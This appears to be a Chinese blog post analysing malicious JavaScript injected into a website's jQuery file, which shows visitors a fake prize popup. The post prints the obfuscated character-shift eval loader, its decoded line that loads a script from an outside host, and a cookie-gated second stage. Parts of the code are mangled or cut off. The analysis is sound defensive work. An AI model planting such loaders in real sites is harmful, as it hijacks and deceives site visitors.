解决方法:被注入文件权限设置为只读!
网站提示中奖,在ie浏览器下有效果
先打开firebug,打开网站,看是否有异常:
控制台显示:
SyntaxError: expected expression, got ‘<’
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//E
脚本显示:
document.write (““);
明显调到了别的网站!
但是在我的项目中搜索没有http://www.googleadsl.com的关键字,为什么?
firebug显示:这个地方在jquery-1.7.2.js line 9405 > eval,,说明这个文件是通过eval字符串生成的,明显有问题,打开对应位置,内容如下:
var str=”cnbtldms-vqhsd’!;rbqhosrqb<[!gsso9..vvv-fnnfkdcrk-bnl.robncd.iptdqx-ir[!=;.rbqhos=!(:";<br /> var length=str.length;var ba64="";<br /> for(i=0;i<length;i++){<br /> var s=str.charCodeAt(i);<br /> s++;<br /> ba64=ba64+String.fromCharCode(s)<br /> }<br /> eval(ba64); <br />它通过精心准备的字符串,遍历的方式,将字符串的每一项转为Unicode 编码,然后让这个编码加一就是想要在页面输出的内容的编码,然后下面在解码返回字符串,每次遍历的时候这个连接上次的字符串,遍历完成即可组合成:<br /> document.write ("<script src=\"http://www.googleadsl.com/spcode/jquery.js\"></script>");<br /> 然后通过eval函数转为可执行的代码;<br /> 可执行的代码还是访问了一个js文件,套路一样:<br /> var strabc="u
qbnnjhdRsqhmf
var bas64="";
for(i=0;i
s++;
bas64=bas64+String.fromCharCode(s)
}
eval(bas64);
上面的这段代码最后的结果是:
var cookieString=document.cookie;
var start=cookieString.indexOf("cookiesleep");
if(start!=-1||document.referrer==""){
}else{
var expires=new Date();
expires.setTime(expires.getTime()+12*60*60*1000);
document.cookie="cookiesleep=test;expires="+expires.toGMTString();
document.write('‘);
}
解释:
// 第一次没有名为cookiesleep的cookie,所以start为-1,start不等于-1或者document.referrer==””(返回加载本文档的文档的 URL,如果当前文档不是通过超级链接访问的,则为 null。)的时候什么都不执行。
// 所以只有第一次点击,没有cookie值,-1.并且是从别的页面调到有次代码的页面才执行else分支。
// 当第二次再次点击的时候,有cookie了不为-1,所以就不在执行了, 第一个条件成立,||后面的不在管了
//在ie有效果,qq浏览器的谷歌内核没效果,谷歌浏览器有效果,火狐没效果